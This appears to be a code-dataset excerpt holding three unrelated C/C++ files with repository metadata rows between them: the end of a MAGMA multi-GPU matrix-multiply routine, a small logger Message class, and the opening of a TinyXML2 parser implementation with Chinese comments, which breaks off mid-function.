float *C, magma_int_t ldc,
float *work[], magma_int_t ldwork,
magma_int_t ngpu, magma_int_t nb,
magma_queue_t streams[][20], magma_int_t nstream,
magma_event_t redevents[][MagmaMaxGPUs*MagmaMaxGPUs+10],magma_int_t nbevents,
magma_int_t gnode[MagmaMaxGPUs][MagmaMaxGPUs+2], magma_int_t nbcmplx )
{
#define dA(dev, i, j) (dA[dev] + (i) + (j)*ldda)
#define dB(dev, i, j) (dB[dev] + (i) + (j)*lddb)
#define dC(dev, i, j) (dC[dev] + (i) + (j)*lddc)
#define dwork(dev, i, j) (dwork[dev] + (i) + (j)*lddwork)
#define C(i, j) (C + (i) + (j)*ldc)
if ( side != MagmaLeft || uplo != MagmaLower ) {
fprintf( stderr, "%s: only Left Lower implemented\n", __func__ );
}
assert( ldda >= m );
assert( lddb >= m );
assert( lddc >= m );
assert( nstream >= ngpu );
assert( nbevents >= ngpu*ngpu );
float *dwork1[MagmaMaxGPUs];
float *dwork2[MagmaMaxGPUs];
magma_int_t lddwork = lddc;
for( magma_int_t dev = 0; dev < ngpu; ++dev ) {
dwork1[dev] = dwork[dev];
dwork2[dev] = dwork[dev]+n*lddwork;
}
assert( dworksiz >= (2*n*lddwork) );
magma_device_t cdev;
magma_getdevice( &cdev );
magma_queue_t cstream;
magmablasGetKernelStream(&cstream);
magma_int_t dev,devperm,myblk,mycolsize,myblkoffst;
magma_int_t gdev,gcolsize,gmaster,gngpu;
magma_int_t masterdev,lcdev,lccolsize,myngpu;
magma_int_t stdev = (offset/nb)%ngpu;
magma_int_t blockoffset = offset % nb;
magma_int_t fstblksiz = 0;
if(blockoffset>0){
fstblksiz = min(m, (nb - blockoffset));
}
//magma_int_t nbblk = magma_ceildiv(m,nb);
magma_int_t nbblk = magma_ceildiv((m+blockoffset),nb);
magma_int_t maxgsize = n*nb*magma_ceildiv(nbblk,ngpu);
magma_int_t remm = m- fstblksiz;
magma_int_t nbblkoffst = offset/nb;
magma_int_t nblstblks = -1;
magma_int_t devlstblk = -1;
magma_int_t lstblksiz = remm%nb;
if(lstblksiz>0){
nblstblks = nbblk%ngpu;
devlstblk = (nblstblks-1+ngpu)%ngpu;
}
magma_int_t nbcmplxactive = 0;
magma_int_t cmplxisactive[MagmaMaxGPUs];
magma_int_t gpuisactive[MagmaMaxGPUs];
memset(gpuisactive, 0, MagmaMaxGPUs*sizeof(magma_int_t));
memset(cmplxisactive, 0, MagmaMaxGPUs*sizeof(magma_int_t));
//*******************************
// each GPU make a GEMM with the
// transpose of its blocks to compute
// a final portion of X=A*VT
//*******************************
/* dB = V*T already ==> dB' = T'*V'
* compute T'*V'*X is equal to compute locally (VT)'_i*X_i
* then each GPU broadcast its X_i to assemble the full X which is used
* to compute W = X - 0.5 * V * T'*V'*X = X - 0.5 * V *dwork3
*/
if(ngpu ==1){
magma_setdevice( 0 );
magmablasSetKernelStream( streams[ 0 ][ 0 ] );
// compute X[me] = A*VT = A[me]^tr *VT;
magma_sgemm( MagmaConjTrans, MagmaNoTrans, m, n, m,
alpha, dA(0,offset,offset), ldda,
dB[0], lddb,
beta, dC[0], lddc );
return;
}
//ngpu>1
for( magma_int_t cmplxid = 0; cmplxid < nbcmplx; ++cmplxid ) {
masterdev = -1;
gnode[cmplxid][MagmaMaxGPUs+1] = -1;
myngpu = gnode[cmplxid][MagmaMaxGPUs];
for( magma_int_t idev = 0; idev < myngpu; ++idev ) {
dev = gnode[cmplxid][idev];
devperm = (dev-stdev+ngpu)%ngpu;
myblk = (nbblk/ngpu) + (nbblk%ngpu > devperm ? 1:0 );
mycolsize = myblk*nb;
myblkoffst = nb*((nbblkoffst/ngpu)+(nbblkoffst%ngpu > dev?1:0));
if(dev==stdev){
mycolsize -= blockoffset;
myblkoffst += blockoffset; // local index in parent matrix
}
if((devperm==devlstblk)&&(lstblksiz>0)){
mycolsize -= (nb-(remm%nb));
}
mycolsize = min(mycolsize,m);
if(mycolsize>0){
if(masterdev==-1) masterdev = dev;
//printf("dev %d devperm %d on cmplx %d master %d nbblk %d myblk %d m %d n %d mycolsize %d stdev %d fstblksize %d lastdev %d lastsize %d dA(%d,%d,%d) ==> dwork(%d,%d)\n",dev,devperm,cmplxid,masterdev,nbblk,myblk,m,n,mycolsize,stdev,fstblksiz,devlstblk,remm%nb,dev,offset,myblkoffst,dev,maxgsize*dev);
gpuisactive[dev] = mycolsize;
magma_setdevice( dev );
magmablasSetKernelStream( streams[ dev ][ dev ] );
magma_sgemm( MagmaConjTrans, MagmaNoTrans, mycolsize, n, m,
alpha, dA(dev,offset,myblkoffst), ldda,
dB(dev,0,0), lddb,
beta, &dwork[dev][maxgsize*dev], mycolsize );
magma_event_record(redevents[dev][dev*ngpu+dev], streams[dev][dev]);
}
if(dev == masterdev){
nbcmplxactive = nbcmplxactive +1;
cmplxisactive[cmplxid] = 1;
gnode[cmplxid][MagmaMaxGPUs+1] = masterdev;
}
}
}
/*
for( magma_int_t dev = 0; dev < ngpu; ++dev ) {
magma_setdevice( dev );
magma_queue_sync( streams[ dev ][ dev ] );
}
*/
//*******************************
// each Master GPU has the final
// result either by receiving
// from CPU of by making the add
// by himself, so now it is time
// to broadcast over the GPUs of
// its board.
//*******************************
//printf("=======================================================================\n");
//printf(" sending \n");
//printf("=======================================================================\n");
for( magma_int_t cmplxid = 0; cmplxid < nbcmplx; ++cmplxid ) {
myngpu = gnode[cmplxid][MagmaMaxGPUs];
masterdev = gnode[cmplxid][MagmaMaxGPUs+1];
for( magma_int_t idev = 0; idev < myngpu; ++idev ) {
dev = gnode[cmplxid][idev];
mycolsize = gpuisactive[dev];
if(mycolsize>0){
// I am an active GPU send my portion local
// to all active gpu of my cmplex and global to the
// active master of the other real and they should
// send it out to their actives slaves.
magma_setdevice( dev );
//==============================================
// sending to the master of the active real
//==============================================
//printf ("\n\n**************GPU %d\n ",dev);
//printf (" GPU %d sending to cmplx masters\n",dev);
for( magma_int_t k = 0; k < nbcmplx; ++k ) {
if(k!=cmplxid){
gmaster = gnode[k][MagmaMaxGPUs+1];
if(gmaster!=-1){ //real is active
//printf (" device %d from cmplx %d is sending to master %d on cmplx %d block of size %d event %d\n",dev,cmplxid,gmaster,k,mycolsize,redevents[dev][gmaster*ngpu+dev]);
magma_queue_wait_event(streams[ dev ][ gmaster ], redevents[dev][dev*ngpu+dev]);
magma_scopymatrix_async(
mycolsize, n,
&dwork[dev ][maxgsize*dev], mycolsize,
&dwork[gmaster][maxgsize*dev], mycolsize, streams[dev][gmaster] );
magma_event_record(redevents[dev][gmaster*ngpu+dev], streams[dev][gmaster]);
}
}
}
//==============================================
//
//==============================================
// sending to the active GPUs of my real
//==============================================
//printf (" GPU %d sending internal\n",dev);
for( magma_int_t l = 0; l < myngpu; ++l ) {
lcdev = gnode[cmplxid][l];
lccolsize = gpuisactive[lcdev];
if((lcdev!=dev)&&(lccolsize>0)){
//printf (" device %d from cmplx %d is sending internal to dev %d block of size %d event %d\n",dev,cmplxid,lcdev,mycolsize,redevents[dev][lcdev*ngpu+dev]);
magma_queue_wait_event(streams[ dev ][ lcdev ], redevents[dev][dev*ngpu+dev]);
magma_scopymatrix_async(
mycolsize, n,
&dwork[dev ][maxgsize*dev], mycolsize,
&dwork[lcdev][maxgsize*dev], mycolsize, streams[dev][lcdev] );
magma_event_record(redevents[dev][lcdev*ngpu+dev], streams[dev][lcdev]);
}
}
//==============================================
}// end if mycolsize>0
}// for idev
}// for cmplxid
//printf("=======================================================================\n");
//printf(" master wait and resend internally \n");
//printf("=======================================================================\n");
for( magma_int_t cmplxid = 0; cmplxid < nbcmplx; ++cmplxid ) {
myngpu = gnode[cmplxid][MagmaMaxGPUs];
masterdev = gnode[cmplxid][MagmaMaxGPUs+1];
//==============================================
// if I am active master so wait receiving contribution
// of the GPUs of other real and send it locally
//==============================================
if(masterdev != -1){
mycolsize = gpuisactive[masterdev];
magma_setdevice( masterdev );
//printf(" GPU %d distributing internal\n",masterdev);
for( magma_int_t k = 0; k < nbcmplx; ++k ) {
if(k!=cmplxid){
gngpu = gnode[k][MagmaMaxGPUs];
for( magma_int_t g = 0; g < gngpu; ++g ) {
gdev = gnode[k][g];
gcolsize = gpuisactive[gdev];
// check if I received from this GPU,
// if yes send it to my group
if(gcolsize>0){
magma_queue_wait_event(streams[ masterdev ][ gdev ], redevents[gdev][masterdev*ngpu+gdev]);
for( magma_int_t l = 0; l < myngpu; ++l ) {
lcdev = gnode[cmplxid][l];
lccolsize = gpuisactive[lcdev];
if((lcdev!=masterdev)&&(lccolsize>0)){
//printf(" Master %d on cmplx %d waiting on event %d is distributing internal results of %d to lcdev %d block of size %d event %d\n", masterdev,cmplxid,redevents[gdev][masterdev*ngpu+gdev],gdev,lcdev,gcolsize,redevents[masterdev][lcdev*ngpu+gdev]);
magma_scopymatrix_async(
gcolsize, n,
&dwork[masterdev][maxgsize*gdev], gcolsize,
&dwork[lcdev ][maxgsize*gdev], gcolsize, streams[masterdev][gdev] );
magma_event_record(redevents[masterdev][lcdev*ngpu+gdev], streams[masterdev][gdev]);
}
}
}
}
}
}
}// if active master
//==============================================
}// for cmplxid
/*
for( magma_int_t dev = 0; dev < ngpu; ++dev ) {
magma_setdevice( dev );
magma_queue_sync( streams[ dev ][ 0 ] );
for( magma_int_t s = 0; s < ngpu; ++s ) {
magma_queue_sync( streams[ dev ][ s ] );
}
}
*/
//printf("=======================================================================\n");
//printf(" distributing \n");
//printf("=======================================================================\n");
magma_int_t lcblki,gbblki,gblk,ib;
for( magma_int_t cmplxid = 0; cmplxid < nbcmplx; ++cmplxid ) {
myngpu = gnode[cmplxid][MagmaMaxGPUs];
masterdev = gnode[cmplxid][MagmaMaxGPUs+1];
for( magma_int_t idev = 0; idev < myngpu; ++idev ) {
dev = gnode[cmplxid][idev];
mycolsize = gpuisactive[dev];
if(mycolsize>0){ // I am an active GPU
//printf("\n\n==============GPU %d collecting\n",dev);
magma_setdevice( dev );
// collect my results first as tyhere is no need to wait to
// receive nothing, just wait that my gemm are done.
// in theory this should be inside the loop but cuda was not
// able to run it first for all gpu and on gpu>0 it was waiting
// however it was on different stream so it should run. but maybe
// this is because there are too many function call and this make
// cuda not handleit so nice. anyway it coul dbe removed when cuda
// is able to lunch it first without wait.
gdev = dev;
gcolsize = gpuisactive[gdev];
if(gcolsize>0){
devperm = (gdev-stdev+ngpu)%ngpu;
gblk = (nbblk/ngpu) + (nbblk%ngpu > devperm ? 1:0 );
magmablasSetKernelStream( streams[ dev ][ gdev ] );
magma_queue_wait_event(streams[ dev ][ gdev ], redevents[gdev][dev*ngpu+gdev]);
//printf (" GPU %d stream %d doing slacpy\n",dev,streams[ dev ][ gdev ]);
for( magma_int_t blki = 0; blki < gblk; ++blki){
gbblki = (blki*ngpu + devperm)*nb - blockoffset;
lcblki = blki*nb;
ib = nb;//min(nb,m-gbblki);
if(gdev==stdev){
lcblki = blki*nb-blockoffset;
if(blki==0){
gbblki = 0;
lcblki = 0;
ib = nb-blockoffset;
}
}
ib = min(ib,m-gbblki);
//printf(" blockoffset %d nbblk %d stdev %d receiving from gdev %d gblk %d gcolsize %d copying blki %d of size ibxn %dx%d from work[%d] to C[%d]\n", blockoffset,nbblk,stdev,gdev,gblk,gcolsize,blki,ib,n,lcblki,gbblki);
magmablas_slacpy( MagmaFull, ib, n, &dwork[dev][maxgsize*gdev+lcblki], gcolsize, &dC[dev][gbblki], lddc);
}// end blki
}
for( magma_int_t k = 0; k < nbcmplx; ++k ) {
gngpu = gnode[k][MagmaMaxGPUs];
for( magma_int_t g = 0; g < gngpu; ++g ) {
gdev = gnode[k][g];
gcolsize = gpuisactive[gdev];
// if gcolsize>0, ==> gpu gdev was active and so
// I received from him/computed a portion of dwork,
// so go over its gblk and distribute it on dC.
if(gdev!=dev){
if(gcolsize>0){
devperm = (gdev-stdev+ngpu)%ngpu;
gblk = (nbblk/ngpu) + (nbblk%ngpu > devperm ? 1:0 );
magmablasSetKernelStream( streams[ dev ][ gdev ] );
if(k==cmplxid){
//we are on the same group so wait on event issued by gdev for me citing his id
magma_queue_wait_event(streams[ dev ][ gdev ], redevents[gdev][dev*ngpu+gdev]);
//printf (" GPU %d stream %d waiting on event %d to collecte from %d the size of gcolsize %d\n",dev,streams[ dev ][ gdev ],redevents[gdev][dev*ngpu+gdev],gdev,gcolsize);
}else{
//we are on different group so:
//if I am the master wait on the event issued by gdev for me citing his id
//else wait event issued by my master for me on the behalf of gdev
//printf (" GPU %d stream %d waiting on event %d to collecte from %d the size of gcolsize %d\n",dev,streams[ dev ][ gdev ],redevents[masterdev][dev*ngpu+gdev],gdev,gcolsize);
if(dev==masterdev)
magma_queue_wait_event(streams[ dev ][ gdev ], redevents[gdev][dev*ngpu+gdev]);
else
magma_queue_wait_event(streams[ dev ][ gdev ], redevents[masterdev][dev*ngpu+gdev]);
}
//printf (" GPU %d stream %d doing slacpy\n",dev,streams[ dev ][ gdev ]);
for( magma_int_t blki = 0; blki < gblk; ++blki){
gbblki = (blki*ngpu + devperm)*nb - blockoffset;
lcblki = blki*nb;
ib = nb;//min(nb,m-gbblki);
if(gdev==stdev){
lcblki = blki*nb-blockoffset;
if(blki==0){
gbblki = 0;
lcblki = 0;
ib = nb-blockoffset;
}
}
ib = min(ib,m-gbblki);
//printf(" blockoffset %d nbblk %d stdev %d receiving from gdev %d gblk %d gcolsize %d copying blki %d of size ibxn %dx%d from work[%d] to C[%d]\n", blockoffset,nbblk,stdev,gdev,gblk,gcolsize,blki,ib,n,lcblki,gbblki);
magmablas_slacpy( MagmaFull, ib, n, &dwork[dev][maxgsize*gdev+lcblki], gcolsize, &dC[dev][gbblki], lddc);
}// end blki
}// en gcolsize>0 meaning gdev is active
} // end if gdev != dev
}// end loop over the g gpus of the cmplx k
}//end loop over the real k
}// end mycolsize>0 meaning that I am active
}// end loop over idev of cmplxid
}// end loop of the cmplx
for( magma_int_t dev = 0; dev < ngpu; ++dev ) {
magma_setdevice( dev );
magma_device_sync();
}
// put back the input gpu and its input stream
magma_setdevice( cdev );
magmablasSetKernelStream( cstream );
}
| [
"[email protected]"
] | |
14f86c5511eccc9b431d86cf581f41e5d567f0c9 | fcf892a3a3249656527302cdbd29162006ab3ac5 | /Message.cc | 6762d125b6e6f1c653d0a2288b51e2d1899ed399 | [] | no_license | alexgunkel/experimental_logger | b56a5d31b1c483e75aa84d7ed89f825cc70c1a17 | 896c49cd39a593f9f9b55ff50eaa9832962e8601 | refs/heads/master | 2021-01-20T05:52:42.369534 | 2017-05-01T20:01:35 | 2017-05-01T20:01:35 | 89,816,350 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 453 | cc | #include "Message.h"
using std::chrono::system_clock;
Message::Message()
{
this->creationTime = new LoggerTime;
}
Message::Message( std::string message )
{
this->content = message;
size = message.size();
this->creationTime = new LoggerTime;
}
std::string Message::getContent()
{
return this->content;
}
char* Message::getCreationTime()
{
return this->creationTime->getTimeAsString();
}
short int Message::getSize()
{
return size;
}
| [
"[email protected]"
] | |
34a92afb5dbed065b2f813706668218906e4998f | d3a8df3a02361e5da4c59671f6fb2b1394a0fe6c | /TinyXML2.cpp | 5e2421c502dcd7848d5442ef29cb99172612a27f | [] | no_license | zytdevelop/TinyXMLer | 51508e898460f49321e6ab2eae671211e4a9c3b0 | eeff9d57e4ef30bb7a1f84e9f377d36222043b77 | refs/heads/master | 2021-08-08T15:54:59.651969 | 2021-01-07T06:34:14 | 2021-01-07T06:34:14 | 237,728,799 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 81,853 | cpp | #include "TinyXML2.h"
#include <new> //管理动态存储
#include <cstddef> //隐式表达类型
#include <cstdarg> //变量参数处理
//处理字符串，用于存储到缓存区，TIXML_SNPRINTF拥有snprintf功能
#define TIXML_SNPRINTF snprintf
//处理字符串，用于存储到缓存区，TIXML_VSNPRINTF拥有vsnprintf功能
#define TIXML_VSNPRINTF vsnprintf
//字符数量
static inline int TIXML_VSCPRINTF( const char* format, va_list va )
{
int len = vsnprintf( 0, 0, format, va );
TIXMLASSERT( len >= 0 );
return len;
}
//输入功能，TIXML_SSCANF拥有sscanf功能
#define TIXML_SSCANF sscanf
//换行
static const char LINE_FEED = (char)0x0a;
static const char LF = LINE_FEED;
//回车
static const char CARRIAGE_RETURN = (char)0x0d;
static const char CR = CARRIAGE_RETURN;
//单引号
static const char SINGLE_QUOTE = '\'';
//双引号
static const char DOUBLE_QUOTE = '\"';
//ef bb bf 指定格式 UTF-8
static const unsigned char TIXML_UTF_LEAD_0 = 0xefU;
static const unsigned char TIXML_UTF_LEAD_1 = 0xbbU;
static const unsigned char TIXML_UTF_LEAD_2 = 0xbfU;
namespace tinyxml2{
//定义实体结构
struct Entity {
const char* pattern;
int length;
char value;
};
//实体长度
static const int NUM_ENTITIES = 5;
static const Entity entities[NUM_ENTITIES] = {
{ "quot", 4, DOUBLE_QUOTE },
{ "amp", 3, '&' },
{ "apos", 4, SINGLE_QUOTE },
{ "lt", 2, '<' },
{ "gt", 2, '>' }
};
//code
void StrPair::CollapseWhitespace()
{
//避免警告
TIXMLASSERT(( _flags & NEEDS_DELETE) == 0);
//初始化起始位置,忽略空白,调用XMLUtil中SkipWhiteSpace功能
_start = XMLUtil::SkipWhiteSpace(_start, 0);
if (*_start) {
const char* p = _start; // 读指针
char* q = _start; // 写指针
while(*p) {
//判断是否为空白
if (XMLUtil::IsWhiteSpace(*p)) {
//跳过空白,换行
p = XMLUtil::SkipWhiteSpace(p, 0);
if (*p == 0) {
break;
}
*q = ' ';
++q;
}
//写入q
*q = *p;
++q;
++p;
}
//初始化q
*q = 0;
}
}
void StrPair::Reset()
{
if ( _flags & NEEDS_DELETE ) {
delete [] _start;
}
_flags = 0;
_start = 0;
_end = 0;
}
void StrPair::SetStr( const char* str, int flags )
{
TIXMLASSERT( str );
Reset();
size_t len = strlen( str );
TIXMLASSERT( _start == 0 );
_start = new char[ len+1 ];
memcpy( _start, str, len+1 );
_end = _start + len;
_flags = flags | NEEDS_DELETE;
}
const char* StrPair::GetStr()
{
TIXMLASSERT( _start );
TIXMLASSERT( _end );
//规范化类型
if ( _flags & NEEDS_FLUSH ) {
*_end = 0;
_flags ^= NEEDS_FLUSH;
if ( _flags ) {
//读指针
const char* p = _start;
//写指针
char* q = _start;
while( p < _end ) {
//当p指向回车符，p++，如果p+1指向行换行符p+2
if ( (_flags & NEEDS_NEWLINE_NORMALIZATION) && *p == CR ) {
if ( *(p+1) == LF ) {
p += 2;
}
else {
++p;
}
*q = LF;
++q;
}
//当p指向换行符，p+1，如果p+1指向回车符p+2
else if ( (_flags & NEEDS_NEWLINE_NORMALIZATION) && *p == LF ) {
if ( *(p+1) == CR ) {
p += 2;
}
else {
++p;
}
*q = LF;
++q;
}
//如果p指向&，则假设后面为实体，然后读取出来
else if ( (_flags & NEEDS_ENTITY_PROCESSING) && *p == '&' ) {
//由tinyXML2处理的实体
//实体表中的特殊实体[in/out]
//数字字符引用[in] 中 或 中
if ( *(p+1) == '#' ) {
const int buflen = 10;
char buf[buflen] = { 0 };
int len = 0;
//处理十个字符
char* adjusted = const_cast<char*>( XMLUtil::GetCharacterRef( p, buf, &len ) );
//没有找到实体，++p
if ( adjusted == 0 ) {
*q = *p;
++p;
++q;
}
//找到实体，则拷贝到q中
else {
TIXMLASSERT( 0 <= len && len <= buflen );
TIXMLASSERT( q + len <= adjusted );
p = adjusted;
memcpy( q, buf, len );
q += len;
}
}
//和默认实体比较
else {
bool entityFound = false;
for( int i = 0; i < NUM_ENTITIES; ++i ) {
const Entity& entity = entities[i];
if ( strncmp( p + 1, entity.pattern, entity.length ) == 0 && *( p + entity.length + 1 ) == ';' ) {
//找到一个实体
*q = entity.value;
++q;
p += entity.length + 2;
entityFound = true;
break;
}
}
if ( !entityFound ) {
++p;
++q;
}
}
}
else {
*q = *p;
++p;
++q;
}
}
*q = 0;
}
//处理空白，这个模式有待优化
if ( _flags & NEEDS_WHITESPACE_COLLAPSING ) {
CollapseWhitespace();
}
_flags = (_flags & NEEDS_DELETE);
}
TIXMLASSERT( _start );
return _start;
}
char* StrPair::ParseText( char* p, const char* endTag, int strFlags, int* curLineNumPtr )
{
TIXMLASSERT( p );
TIXMLASSERT( endTag && *endTag );
TIXMLASSERT(curLineNumPtr);
char* start = p;
char endChar = *endTag;
size_t length = strlen( endTag );
//解析文本
while ( *p ) {
//*p为结尾标签，则返回结尾指针
if ( *p == endChar && strncmp( p, endTag, length ) == 0 ) {
Set( start, p, strFlags );
return p + length;
}
//*p为换行符，换行
else if (*p == '\n') {
++(*curLineNumPtr);
}
++p;
TIXMLASSERT( p );
}
return 0;
}
char* StrPair::ParseName( char* p )
{
//空字符
if ( !p || !(*p) ) {
return 0;
}
//不是名称起始字符
if ( !XMLUtil::IsNameStartChar( *p ) ) {
return 0;
}
char* const start = p;
++p;
while ( *p && XMLUtil::IsNameChar( *p ) ) {
++p;
}
//写入p
Set( start, p, 0 );
return p;
}
void StrPair::TransferTo( StrPair* other )
{
if ( this == other ) {
return;
}
TIXMLASSERT( other != 0 );
TIXMLASSERT( other->_flags == 0 );
TIXMLASSERT( other->_start == 0 );
TIXMLASSERT( other->_end == 0 );
other->Reset();
//传递
other->_flags = _flags;
other->_start = _start;
other->_end = _end;
//充值str
_flags = 0;
_start = 0;
_end = 0;
}
const char* XMLUtil::writeBoolTrue = "true";
const char* XMLUtil::writeBoolFalse = "false";
void XMLUtil::SetBoolSerialization(const char* writeTrue, const char* writeFalse)
{
static const char* defTrue = "true";
static const char* defFalse = "false";
writeBoolTrue = (writeTrue) ? writeTrue : defTrue;
writeBoolFalse = (writeFalse) ? writeFalse : defFalse;
}
const char* XMLUtil::ReadBOM( const char* p, bool* bom )
{
TIXMLASSERT( p );
TIXMLASSERT( bom );
*bom = false;
const unsigned char* pu = reinterpret_cast<const unsigned char*>(p);
// 检查BOM，每次检查三个字符:
if ( *(pu+0) == TIXML_UTF_LEAD_0
&& *(pu+1) == TIXML_UTF_LEAD_1
&& *(pu+2) == TIXML_UTF_LEAD_2 ) {
*bom = true;
p += 3;
}
TIXMLASSERT( p );
return p;
}
void XMLUtil::ConvertUTF32ToUTF8( unsigned long input, char* output, int* length )
{
const unsigned long BYTE_MASK = 0xBF;
const unsigned long BYTE_MARK = 0x80;
const unsigned long FIRST_BYTE_MARK[7] = { 0x00, 0x00, 0xC0, 0xE0, 0xF0, 0xF8, 0xFC };
//确定 UTF-8 编码字节数
if (input < 0x80) {
*length = 1;
}
else if ( input < 0x800 ) {
*length = 2;
}
else if ( input < 0x10000 ) {
*length = 3;
}
else if ( input < 0x200000 ) {
*length = 4;
}
else {
*length = 0;
return;
}
output += *length;
//根据字节数转换 UTF-8 编码
switch (*length) {
case 4:
--output;
*output = (char)((input | BYTE_MARK) & BYTE_MASK);
input >>= 6;
case 3:
--output;
*output = (char)((input | BYTE_MARK) & BYTE_MASK);
input >>= 6;
case 2:
--output;
*output = (char)((input | BYTE_MARK) & BYTE_MASK);
input >>= 6;
case 1:
--output;
*output = (char)(input | FIRST_BYTE_MARK[*length]);
break;
default:
TIXMLASSERT( false );
}
}
const char* XMLUtil::GetCharacterRef( const char* p, char* value, int* length )
{
*length = 0;
//如果*(p+1)为'#'，且*(p+2)不为空，说明是合法字符
if ( *(p+1) == '#' && *(p+2) ) {
//初始化 ucs
unsigned long ucs = 0;
TIXMLASSERT( sizeof( ucs ) >= 4 );
//增量
ptrdiff_t delta = 0;
unsigned mult = 1;
static const char SEMICOLON = ';';
//判断是否是 Unicode 字符
if ( *(p+2) == 'x' ) {
const char* q = p+3;
if ( !(*q) ) {
return 0;
}
//q指向末尾
q = strchr( q, SEMICOLON );
if ( !q ) {
return 0;
}
TIXMLASSERT( *q == SEMICOLON );
delta = q-p;
--q;
//解析字符
while ( *q != 'x' ) {
unsigned int digit = 0;
if ( *q >= '0' && *q <= '9' ) {
digit = *q - '0';
}
else if ( *q >= 'a' && *q <= 'f' ) {
digit = *q - 'a' + 10;
}
else if ( *q >= 'A' && *q <= 'F' ) {
digit = *q - 'A' + 10;
}
else {
return 0;
}
//确认digit为十六进制
TIXMLASSERT( digit < 16 );
TIXMLASSERT( digit == 0 || mult <= UINT_MAX / digit );
//转化为ucs
const unsigned int digitScaled = mult * digit;
TIXMLASSERT( ucs <= ULONG_MAX - digitScaled );
ucs += digitScaled;
TIXMLASSERT( mult <= UINT_MAX / 16 );
mult *= 16;
--q;
}
}
//*(p+2)!='x'说明为十进制
else {
const char* q = p+2;
if ( !(*q) ) {
return 0;
}
//指向末尾
q = strchr( q, SEMICOLON );
if ( !q ) {
return 0;
}
TIXMLASSERT( *q == SEMICOLON );
delta = q-p;
--q;
//解析
while ( *q != '#' ) {
if ( *q >= '0' && *q <= '9' ) {
const unsigned int digit = *q - '0';
TIXMLASSERT( digit < 10 );
TIXMLASSERT( digit == 0 || mult <= UINT_MAX / digit );
//转换为ucs
const unsigned int digitScaled = mult * digit;
TIXMLASSERT( ucs <= ULONG_MAX - digitScaled );
ucs += digitScaled;
}
else {
return 0;
}
TIXMLASSERT( mult <= UINT_MAX / 10 );
mult *= 10;
--q;
}
}
// ucs 转换为 utf-8
ConvertUTF32ToUTF8( ucs, value, length );
return p + delta + 1;
}
return p+1;
}
void XMLUtil::ToStr( int v, char* buffer, int bufferSize )
{
TIXML_SNPRINTF( buffer, bufferSize, "%d", v );
}
void XMLUtil::ToStr( unsigned v, char* buffer, int bufferSize )
{
TIXML_SNPRINTF( buffer, bufferSize, "%u", v );
}
void XMLUtil::ToStr( bool v, char* buffer, int bufferSize )
{
TIXML_SNPRINTF( buffer, bufferSize, "%s", v ? writeBoolTrue : writeBoolFalse);
}
void XMLUtil::ToStr( float v, char* buffer, int bufferSize )
{
TIXML_SNPRINTF( buffer, bufferSize, "%.8g", v );
}
void XMLUtil::ToStr( double v, char* buffer, int bufferSize )
{
TIXML_SNPRINTF( buffer, bufferSize, "%.17g", v );
}
void XMLUtil::ToStr(int64_t v, char* buffer, int bufferSize)
{
TIXML_SNPRINTF(buffer, bufferSize, "%lld", (long long)v);
}
bool XMLUtil::ToInt( const char* str, int* value )
{
if ( TIXML_SSCANF( str, "%d", value ) == 1 ) {
return true;
}
return false;
}
bool XMLUtil::ToUnsigned( const char* str, unsigned *value )
{
if ( TIXML_SSCANF( str, "%u", value ) == 1 ) {
return true;
}
return false;
}
bool XMLUtil::ToBool( const char* str, bool* value )
{
int ival = 0;
if ( ToInt( str, &ival )) {
*value = (ival==0) ? false : true;
return true;
}
if ( StringEqual( str, "true" ) ) {
*value = true;
return true;
}
else if ( StringEqual( str, "false" ) ) {
*value = false;
return true;
}
return false;
}
bool XMLUtil::ToFloat( const char* str, float* value )
{
if ( TIXML_SSCANF( str, "%f", value ) == 1 ) {
return true;
}
return false;
}
bool XMLUtil::ToDouble( const char* str, double* value )
{
if ( TIXML_SSCANF( str, "%lf", value ) == 1 ) {
return true;
}
return false;
}
bool XMLUtil::ToInt64(const char* str, int64_t* value)
{
long long v = 0;
if (TIXML_SSCANF(str, "%lld", &v) == 1) {
*value = (int64_t)v;
return true;
}
return false;
}
void XMLNode::Unlink( XMLNode* child )
{
//判断节点是否存在
TIXMLASSERT( child );
TIXMLASSERT( child->_document == _document );
TIXMLASSERT( child->_parent == this );
//重新链接孩子节点，_firstChild指向下一个节点
if ( child == _firstChild ) {
_firstChild = _firstChild->_next;
}
//_firstChild指向上一个节点
if ( child == _lastChild ) {
_lastChild = _lastChild->_prev;
}
//child指向下一个节点
if ( child->_prev ) {
child->_prev->_next = child->_next;
}
//child指向上一个节点
if ( child->_next ) {
child->_next->_prev = child->_prev;
}
//清空节点
child->_next = 0;
child->_prev = 0;
child->_parent = 0;
}
void XMLNode::DeleteNode( XMLNode* node )
{
//如果节点为空返回
if ( node == 0 ) {
return;
}
TIXMLASSERT(node->_document);
//检查节点是否有值
if (!node->ToDocument()) {
node->_document->MarkInUse(node);
}
//释放节点
MemPool* pool = node->_memPool;
node->~XMLNode();
pool->Free( node );
}
void XMLNode::InsertChildPreamble( XMLNode* insertThis ) const
{
TIXMLASSERT( insertThis );
TIXMLASSERT( insertThis->_document == _document );
//断开链接
if (insertThis->_parent) {
insertThis->_parent->Unlink( insertThis );
}
//跟踪
else {
insertThis->_document->MarkInUse(insertThis);
insertThis->_memPool->SetTracked();
}
}
const XMLElement* XMLNode::ToElementWithName( const char* name ) const
{
const XMLElement* element = this->ToElement();
if ( element == 0 ) {
return 0;
}
if ( name == 0 ) {
return element;
}
//比较元素名和名称
if ( XMLUtil::StringEqual( element->Name(), name ) ) {
return element;
}
return 0;
}
XMLNode::XMLNode( XMLDocument* doc ) :
_document( doc ),
_parent( 0 ),
_value(),
_parseLineNum( 0 ),
_firstChild( 0 ), _lastChild( 0 ),
_prev( 0 ), _next( 0 ),
_userData( 0 ),
_memPool( 0 )
{
}
XMLNode::~XMLNode()
{
DeleteChildren();
if ( _parent ) {
_parent->Unlink( this );
}
}
char* XMLNode::ParseDeep( char* p, StrPair* parentEndTag, int* curLineNumPtr )
{
XMLDocument::DepthTracker tracker(_document);
if (_document->Error())
return 0;
//当P不为空
while( p && *p ) {
XMLNode* node = 0;
//识别 p 内容
p = _document->Identify( p, &node );
TIXMLASSERT( p );
if ( node == 0 ) {
break;
}
//解析行数
int initialLineNum = node->_parseLineNum;
//找到结尾标记
StrPair endTag;
p = node->ParseDeep( p, &endTag, curLineNumPtr );
//如果p为空，则报错
if ( !p ) {
DeleteNode( node );
if ( !_document->Error() ) {
_document->SetError( XML_ERROR_PARSING, initialLineNum, 0);
}
break;
}
//查找声明
XMLDeclaration* decl = node->ToDeclaration();
if ( decl ) {
